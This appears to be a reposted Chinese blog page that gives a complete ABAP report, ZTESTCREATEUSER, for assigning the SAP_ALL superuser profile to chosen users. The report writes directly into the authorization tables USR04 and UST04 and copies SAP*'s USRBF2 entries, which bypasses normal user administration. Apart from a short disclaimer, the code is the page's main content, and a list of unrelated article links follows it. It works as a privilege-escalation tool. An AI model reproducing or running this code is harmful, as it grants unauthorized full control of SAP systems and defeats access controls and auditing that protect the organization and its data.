当前位置: 首页 > news >正文

SAP ABAP用程序给用户增加SAP_ALL权限

给用户增加SAP_ALL的权限,报表可对basis与abap开发人员对用户权限管理的思路,谢绝用于其它用途,后果自负。
REPORT  ZTESTCREATEUSER.

data: l_USR04 LIKE  USR04 ,
      l_UST04 LIKE UST04 ,
      l_PROFS LIKE USR04-PROFS  ,
      l_USRBF2 like USRBF2 occurs 0 with header line,
      l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .

START-OF-SELECTION.

select single * into l_USR04 from USR04
where BNAME in p_user.
move 'C SAP_ALL' to l_PROFS .
l_USR04-NRPRO = '14'.
l_USR04-PROFS = l_PROFS.
Update USR04 from l_USR04 .
l_userid = l_USR04-BNAME.
select single * into l_UST04 from UST04
where BNAME in p_user.
l_UST04-PROFILE = 'SAP_ALL'.
Update UST04 from l_UST04 .

select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' .
Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.

http://www.lryc.cn/news/15948.html

相关文章:

  • stm32f407探索者开发板(二十)——独立看门狗实验
  • C语言进阶(五)—— 多维数组
  • 06_MySQL多表查询
  • 程序员赚钱指南,兼职社区招募
  • Qt-FFmpeg开发-实现录屏功能(10)
  • JavaEE简单示例——动态SQL元素<where>
  • 本地事务详解
  • e2e测试-Cypress 使用
  • 20230222 【梳理】肿瘤检测 预处理+ML+DL
  • 经典文献阅读之--MSC-VO(曼哈顿和结构约束VIO)
  • 华为OD机试真题Python实现【字母计数】真题+解题思路+代码(20222023
  • 在中国市场,假如Teradata像Nutanix那样“退出操作”,谁来“接盘”呢?
  • 使用vs2022编译yolov5+tensorRT+cuda+cudnn代码进行混合编译
  • 记一次:request请求总结
  • 2023年全国最新会计专业技术资格精选真题及答案2
  • 每日英语-20230221
  • 学习系统编程No.4【环境变量】
  • 通过Docker部署rancher
  • 【二叉树】
  • 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】
  • 【设计模式】对象行为型模式
  • 「TCG 规范解读」第11章 TPM工作组 TCG算法注册表
  • 华为OD机试 - 事件推送(C++) | 附带编码思路 【2023】
  • Java ”框架 = 注解 + 反射 + 设计模式“ 之 注解详解
  • 【拦截器、过滤器、springAop】那些不为人知的隐秘
  • 记录charles手机端配置https的成功过程
  • 你知道这几种常见的JVM调优场景吗?
  • 华为OD机试真题Python实现【最长连续子串】真题+解题思路+代码(20222023)
  • Vue使用distpicker插件实现省市级下拉框三级联动
  • Unity Avatar Foot IK - Avatar Foot Placement Resolution